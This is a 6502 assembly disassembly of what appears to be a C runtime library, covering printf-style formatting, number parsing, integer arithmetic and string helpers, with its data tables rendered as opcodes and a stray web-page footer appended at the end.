lda $4D34
sta $4D2F
jsr L0462
lda #$2F
ldx #$4D
jsr L0A4D
jsr L0A2E
jmp L0CF5
lda $14
sec
sbc #$02
sta $14
bcs LF6B9
dec $15
LF6B9: rts
lda $4D39
bne LF6D0
jsr L0400
jmp L0778
lda $4D39
bne LF6D0
jsr L0400
jmp L0772
LF6D0: jsr L0400
sta $02
stx $03
jsr L03D7
ldy #$01
lda ($14),y
tax
dey
lda ($14),y
rts
ldy #$00
sty $08
sty $09
LF6E9: lda ($16),y
sec
sbc #$30
bcc LF71C
cmp #$0A
bcs LF71C
jsr L03BA
pha
lda $08
ldx $09
asl $08
rol $09
asl $08
rol $09
adc $08
sta $08
txa
adc $09
sta $09
asl $08
rol $09
pla
adc $08
sta $08
bcc LF6E9
inc $09
bcs LF6E9
LF71C: lda $08
ldx $09
rts
ldy $4D3B
inc $4D3B
sta $4D3C,y
rts
lda #$3C
ldx #$4D
clc
adc $4D3B
bcc LF736
inx
LF736: jmp L0A4D
lda $18
ldx $19
jmp L0A4D
LF740: jsr L03C1
inc $4D35
bne LF740
inc $4D36
bne LF740
rts
jsr L0462
lda $4D50
ldx $4D51
jsr L0A4D
lda $4D52
ldx $4D53
jsr L0A4D
jmp L0CF5
sty $08
jsr L087B
jsr L0454
lda $08
jmp L08AE
sty $08
jsr L087B
jsr L0454
lda $08
jmp L0905
pha
ldy #$05
LF783: lda $14,y
sta $4D29,y
dey
bpl LF783
pla
sta $14
stx $15
jsr L083E
sta $16
stx $17
jsr L083E
sta $18
stx $19
lda #$00
tay
sta ($18),y
iny
sta ($18),y
iny
lda ($18),y
sta $0CF6
iny
lda ($18),y
sta $0CF7
lda $16
sta $08
lda $17
sta $09
ldy #$00
LF7BD: lda ($16),y
beq LF7CC
cmp #$25
beq LF7CC
iny
bne LF7BD
inc $17
bne LF7BD
LF7CC: tya
clc
adc $16
sta $16
bcc LF7D6
inc $17
LF7D6: sec
sbc $08
sta $0A
lda $17
sbc $09
sta $0B
ora $0A
beq LF80A
jsr L07B6
ldy #$05
lda $19
sta ($00),y
dey
lda $18
sta ($00),y
dey
lda $09
sta ($00),y
dey
lda $08
sta ($00),y
dey
lda $0B
sta ($00),y
dey
lda $0A
sta ($00),y
jsr L0CF5
LF80A: jsr L03B6
tax
bne LF81B
ldx #$05
LF812: lda $4D29,x
sta $14,x
dex
bpl LF812
rts
LF81B: cmp #$25
bne LF828
lda ($16),y
cmp #$25
bne LF82E
jsr L03BA
LF828: jsr L03C4
jmp L04DC
LF82E: lda #$00
ldx #$0B
LF832: sta $4D30,x
dex
bpl LF832
lda ($16),y
cmp #$2D
bne LF843
stx $4D30
beq LF85C
LF843: cmp #$2B
bne LF84C
stx $4D31
beq LF85C
LF84C: cmp #$20
bne LF855
stx $4D32
beq LF85C
LF855: cmp #$23
bne LF862
stx $4D33
LF85C: jsr L03BA
jmp L0561
LF862: ldx #$20
cmp #$30
bne LF86E
tax
jsr L03BA
lda ($16),y
LF86E: stx $4D34
cmp #$2A
bne LF87E
jsr L03BA
jsr L0400
jmp L05AA
LF87E: jsr L040C
sta $4D35
stx $4D36
sty $4D37
sty $4D38
lda ($16),y
cmp #$2E
bne LF8AE
jsr L03BA
lda ($16),y
cmp #$2A
bne LF8A5
jsr L03BA
jsr L0400
jmp L05D1
LF8A5: jsr L040C
sta $4D37
stx $4D38
LF8AE: lda ($16),y
cmp #$7A
beq LF8CD
cmp #$68
beq LF8CD
cmp #$74
beq LF8CD
cmp #$6A
beq LF8C8
cmp #$4C
beq LF8C8
cmp #$6C
bne LF8D3
LF8C8: lda #$FF
sta $4D39
LF8CD: jsr L03BA
jmp L05D7
LF8D3: sty $4D3B
ldx #$3C
stx $4D50
ldx #$4D
stx $4D51
jsr L03BA
cmp #$63
bne LF8F5
jsr L0400
sta $4D3C
lda #$00
sta $4D3D
jmp L06FB
LF8F5: cmp #$64
beq LF8FD
cmp #$69
bne LF92A
LF8FD: ldx #$00
lda $4D32
beq LF906
ldx #$20
LF906: lda $4D31
beq LF90D
ldx #$2B
LF90D: stx $4D3A
jsr L03EE
ldy $03
bmi LF922
ldy $4D3A
beq LF922
sty $4D3C
inc $4D3B
LF922: ldy #$0A
jsr L048F
jmp L06FB
LF92A: cmp #$6E
bne LF943
jsr L0400
sta $08
stx $09
ldy #$00
lda ($18),y
sta ($08),y
iny
lda ($18),y
sta ($08),y
jmp L04DC
LF943: cmp #$6F
bne LF96E
jsr L03EE
ldy $4D33
beq LF966
pha
stx $10
ora $10
ora $02
ora $03
ora $4D37
ora $4D38
beq LF966
lda #$30
jsr L044A
pla
LF966: ldy #$08
jsr L048F
jmp L06FB
LF96E: cmp #$70
bne LF97F
ldx #$00
stx $4D39
inx
stx $4D33
lda #$78
bne LF9A6
LF97F: cmp #$73
bne LF98F
jsr L0400
sta $4D50
stx $4D51
jmp L06FB
LF98F: cmp #$75
bne LF99E
jsr L03E3
ldy #$0A
jsr L049C
jmp L06FB
LF99E: cmp #$78
beq LF9A6
cmp #$58
bne LF9CF
LF9A6: pha
lda $4D33
beq LF9B6
lda #$30
jsr L044A
lda #$58
jsr L044A
LF9B6: jsr L03E3
ldy #$10
jsr L049C
pla
cmp #$78
bne LF9CC
lda $4D50
ldx $4D51
jsr L0AB6
LF9CC: jmp L06FB
LF9CF: jmp L04DC
lda $4D50
ldx $4D51
jsr L0AA0
sta $4D52
stx $4D53
lda $4D37
ora $4D38
beq LF9FE
ldx $4D37
cpx $4D52
lda $4D38
tay
sbc $4D53
bcs LF9FE
stx $4D52
sty $4D53
LF9FE: sec
lda $4D35
sbc $4D52
tax
lda $4D36
sbc $4D53
bcs LFA11
lda #$00
tax
LFA11: eor #$FF
sta $4D36
txa
eor #$FF
sta $4D35
lda $4D30
bne LFA24
jsr L046C
LFA24: jsr L0477
lda $4D30
beq LFA2F
jsr L046C
LFA2F: jmp L04DC
sta $4D54
lda #$00
sta $4D55
rts
iny
pha
clc
tya
adc $00
sta $00
bcc LFA47
inc $01
LFA47: pla
rts
ldy #$FF
cpx #$80
bcs LFA51
ldy #$00
LFA51: sty $02
sty $03
rts
lda $0CF8
ldx $0CF9
jsr L0A4D
lda $0CFA
ldx $0CFB
jsr L0A4D
ldy #$04
jmp L02D0
ldy #$00
beq LFA78
lda #$D7
ldx #$0C
jmp L0CFC
LFA78: rts
sec
sbc #$01
bcs LFA7F
dex
LFA7F: rts
lda $00
sec
sbc #$04
sta $00
bcc LFA8A
rts
LFA8A: dec $01
rts
lda $00
sec
sbc #$06
sta $00
bcc LFA97
rts
LFA97: dec $01
rts
sta $4D56
sta $08
stx $4D57
stx $09
ldy #$01
lda ($08),y
and #$01
bne LFAB5
LFAAC: lda #$10
jsr L075B
tax
jmp L085D
LFAB5: lda ($08),y
and #$04
bne LFAAC
ldy #$00
lda ($08),y
ldx #$00
jsr L0A4D
ldy #$09
jsr L0A65
ldy #$07
jsr L0A65
ldy #$09
jsr L086D
jsr L096D
cpx #$00
bne LFAE8
cmp #$00
bne LFAE8
ldy #$05
jsr L086D
ldy #$0A
jmp L0765
LFAE8: jsr LFFF5
cpx #$FF
bne LFB07
cmp #$FF
bne LFB07
lda $4D56
sta $08
lda $4D57
sta $09
ldy #$01
lda ($08),y
ora #$04
sta ($08),y
bne LFAAC
LFB07: jsr L0A4D
ldy #$05
jsr L086D
jsr L0AE0
jmp L085D
ldy #$01
lda ($00),y
tax
.byte $B2
brk
inc $00
beq LFB25
inc $00
beq LFB27
rts
LFB25: inc $00
LFB27: inc $01
rts
ldy #$04
jmp L0765
ldy #$05
jmp L0765
ldy #$06
jmp L0765
sta $08
stx $09
ldx #$00
lda ($08),y
rts
ldy #$01
lda ($00),y
tax
dey
lda ($00),y
rts
lda #$00
tax
.byte $64
.byte $02
.byte $64
.byte $03
pha
jsr L07A9
ldy #$03
lda $03
sta ($00),y
dey
lda $02
sta ($00),y
dey
txa
sta ($00),y
pla
.byte $92
brk
rts
sta $10
jsr L083E
sta $08
stx $09
sta $02
stx $03
jsr L083E
sta $0A
stx $0B
jsr L083E
sta $0C
stx $0D
rts
jsr L0892
ldx $0D
ldy $10
cpy #$0A
bne LFBDF
lda $0C
ora $0B
ora $0A
bne LFBA9
cpx #$80
bne LFBA9
ldy #$0B
LFB9E: lda $0BCB,y
sta ($08),y
dey
bpl LFB9E
jmp L093C
LFBA9: txa
bpl LFBDF
lda #$2D
ldy #$00
sta ($08),y
inc $08
bne LFBB8
inc $09
LFBB8: lda $0A
eor #$FF
clc
adc #$01
sta $0A
lda $0B
eor #$FF
adc #$00
sta $0B
lda $0C
eor #$FF
adc #$00
sta $0C
lda $0D
eor #$FF
adc #$00
sta $0D
jmp L0908
jsr L0892
LFBDF: lda #$00
pha
LFBE2: ldy #$20
lda #$00
LFBE6: asl $0A
rol $0B
rol $0C
rol $0D
rol a
cmp $10
bcc LFBF7
sbc $10
inc $0A
LFBF7: dey
bne LFBE6
tay
lda $0BBB,y
pha
lda $0A
ora $0B
ora $0C
ora $0D
bne LFBE2
ldy #$00
LFC0B: pla
sta ($08),y
beq LFC13
iny
bne LFC0B
LFC13: lda $02
ldx $03
rts
bne LFC20
LFC1A: ldx #$00
txa
rts
bne LFC1A
LFC20: ldx #$00
lda #$01
rts
beq LFC20
bmi LFC20
ldx #$00
txa
rts
beq LFC31
bpl LFC20
LFC31: ldx #$00
txa
rts
beq LFC20
bcc LFC20
ldx #$00
txa
rts
beq LFC1A
ldx #$00
txa
rol a
rts
sta $0E
txa
beq LFC77
stx $0F
jsr L09EC
lda #$00
ldx $03
beq LFC7A
sta $10
ldy #$10
lsr $0F
ror $0E
LFC5C: bcc LFC68
clc
adc $02
pha
txa
adc $10
sta $10
pla
LFC68: ror $10
ror a
ror $0F
ror $0E
dey
bne LFC5C
lda $0E
ldx $0F
rts
LFC77: jmp L09B4
LFC7A: ldy $02
ldx $0E
stx $02
ldx $0F
sty $0E
ldy #$08
jmp L09BF
sta $0E
jsr L09EC
lda #$00
ldy #$08
ldx $03
beq LFCB2
sta $0F
lsr $0E
LFC9A: bcc LFCA6
clc
adc $02
pha
txa
adc $0F
sta $0F
pla
LFCA6: ror $0F
ror a
ror $0E
dey
bne LFC9A
tax
lda $0E
rts
LFCB2: lsr $0E
LFCB4: bcc LFCB9
clc
adc $02
LFCB9: ror a
ror $0E
dey
bne LFCB4
tax
lda $0E
rts
pha
ldy #$01
lda ($00),y
sta $03
.byte $B2
brk
sta $02
pla
jmp L0845
sty $4D58
lda $0CF1
ldx $0CF2
jsr L0A4D
lda $00
ldx $01
clc
adc $4D58
bcc LFCE9
inx
LFCE9: sta $08
stx $09
ldy #$01
lda ($08),y
tax
dey
lda ($08),y
jsr L0A4D
lda $08
ldx $09
jsr L0B64
ldy $4D58
jmp L0765
lda #$01
jmp L0A4B
ldy #$00
lda ($00),y
ldy $00
beq LFD19
dec $00
ldy #$00
sta ($00),y
rts
LFD19: dec $01
dec $00
sta ($00),y
rts
lda #$00
ldx #$00
pha
lda $00
sec
sbc #$02
sta $00
bcs LFD30
dec $01
LFD30: ldy #$01
txa
sta ($00),y
pla
dey
sta ($00),y
rts
ldy #$03
lda $00
sec
sbc #$02
sta $00
bcs LFD47
dec $01
LFD47: lda ($00),y
tax
dey
lda ($00),y
ldy #$00
sta ($00),y
iny
txa
sta ($00),y
rts
pha
sty $10
ldy #$01
lda ($00),y
sta $09
dey
lda ($00),y
sta $08
ldy $10
pla
sta ($08),y
jmp L0845
ldy #$00
sta ($00),y
iny
pha
txa
sta ($00),y
pla
rts
sta $08
stx $09
ldx #$00
ldy #$00
LFD7F: lda ($08),y
beq LFD8B
iny
bne LFD7F
inc $09
inx
bne LFD7F
LFD8B: tya
rts
sta $08
stx $09
sta $0A
stx $0B
ldy #$00
LFD97: lda ($08),y
beq LFDB0
tax
lda $0BD7,x
and #$02
beq LFDA9
txa
sec
sbc #$E0
sta ($08),y
LFDA9: iny
bne LFD97
inc $09
bne LFD97
LFDB0: lda $0A
ldx $0B
rts
ldx #$00
sta $0E
stx $0F
jsr L09EC
jsr L0AEF
lda $02
ldx $03
rts
lda #$00
sta $09
ldy #$10
ldx $0F
beq LFDEF
LFDD0: asl $02
rol $03
rol a
rol $09
pha
cmp $0E
lda $09
sbc $0F
bcc LFDE8
sta $09
pla
sbc $0E
pha
inc $02
LFDE8: pla
dey
bne LFDD0
sta $08
rts
LFDEF: asl $02
rol $03
rol a
bcs LFDFA
cmp $0E
bcc LFDFE
LFDFA: sbc $0E
inc $02
LFDFE: dey
bne LFDEF
sta $08
rts
ldy #$05
jsr L0A65
jsr L0A2E
ldy #$07
jsr L0A65
lda $0D25
ldx $0D26
jsr L07C3
sta $08
stx $09
ora $09
bne LFE28
.byte $3A
sta $0D21
bne LFE35
LFE28: lda $08
clc
adc $0D21
sta $0D21
txa
adc $0D22
LFE35: sta $0D22
jmp L085D
pha
lda #$00
sta $0D21
sta $0D22
ldy #$02
lda ($00),y
sta $0D25
lda #$21
sta ($00),y
iny
lda ($00),y
sta $0D26
lda #$0D
sta ($00),y
pla
jsr L04A9
lda $0D21
ldx $0D22
rts
lda #$29
sta $08
lda #$0D
sta $09
lda #$00
tay
ldx #$40
beq LFE7D
LFE73: sta ($08),y
iny
bne LFE73
inc $09
dex
bne LFE73
LFE7D: cpy #$30
beq LFE86
sta ($08),y
iny
bne LFE7D
LFE86: rts
.byte $25
LFE88: bmi $FEBE
cli
.byte $3A
and $30
.byte $32
cli
asl a
brk
bmi LFEC5
.byte $32
.byte $33
.byte $34
and $36,x
.byte $37
sec
and $4241,y
.byte $43
.byte $44
eor $46
and $3132
.byte $34
.byte $37
.byte $34
sec
.byte $33
rol $34,x
sec
brk
bpl LFEC0
bpl LFEC2
bpl LFEC4
bpl LFEC6
bpl LFE88
bvc LFF0A
bvc LFF0C
bpl LFECE
bpl LFED0
LFEC0: bpl LFED2
LFEC2: bpl LFED4
LFEC4: .byte $10
LFEC5: .byte $10
LFEC6: bpl LFED8
bpl LFEDA
bpl LFEDC
bpl LFEDE
LFECE: ldy #$00
LFED0: brk
brk
LFED2: brk
brk
LFED4: brk
brk
brk
brk
LFED8: brk
brk
LFEDA: brk
brk
LFEDC: brk
brk
LFEDE: .byte $0C
.byte $0C
.byte $0C
.byte $0C
.byte $0C
.byte $0C
.byte $0C
.byte $0C
.byte $0C
.byte $0C
brk
brk
brk
brk
brk
brk
brk
asl a
asl a
asl a
asl a
asl a
asl a
.byte $02
.byte $02
.byte $02
.byte $02
.byte $02
.byte $02
.byte $02
.byte $02
.byte $02
.byte $02
.byte $02
.byte $02
.byte $02
.byte $02
.byte $02
.byte $02
.byte $02
.byte $02
.byte $02
.byte $02
brk
LFF0A: brk
brk
LFF0C: brk
brk
brk
ora #$09
ora #$09
ora #$09
ora ($01,x)
ora ($01,x)
ora ($01,x)
ora ($01,x)
ora ($01,x)
ora ($01,x)
ora ($01,x)
ora ($01,x)
ora ($01,x)
ora ($01,x)
brk
brk
brk
brk
rti
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
ora ($00,x)
ora ($01,x)
brk
.byte $02
ora ($00,x)
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
brk
.byte $D7
.byte $0C
.byte $DA
.byte $0C
cmp $4C0C,x
brk
brk
brk
brk
brk
brk
sta $0D0A
stx $0D0B
sta $0D11
stx $0D12
LFFDF: dey
lda LFFFF,y
sta $0D1B
dey
lda LFFFF,y
sta $0D1A
sty $0D1D
.byte $20
LFFF1: .byte $FF
.byte $FF
ldy #$FF
LFFF5: bne LFFDF
rts
brk
brk
and a:$0B
brk
brk
LFFFF: brk
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.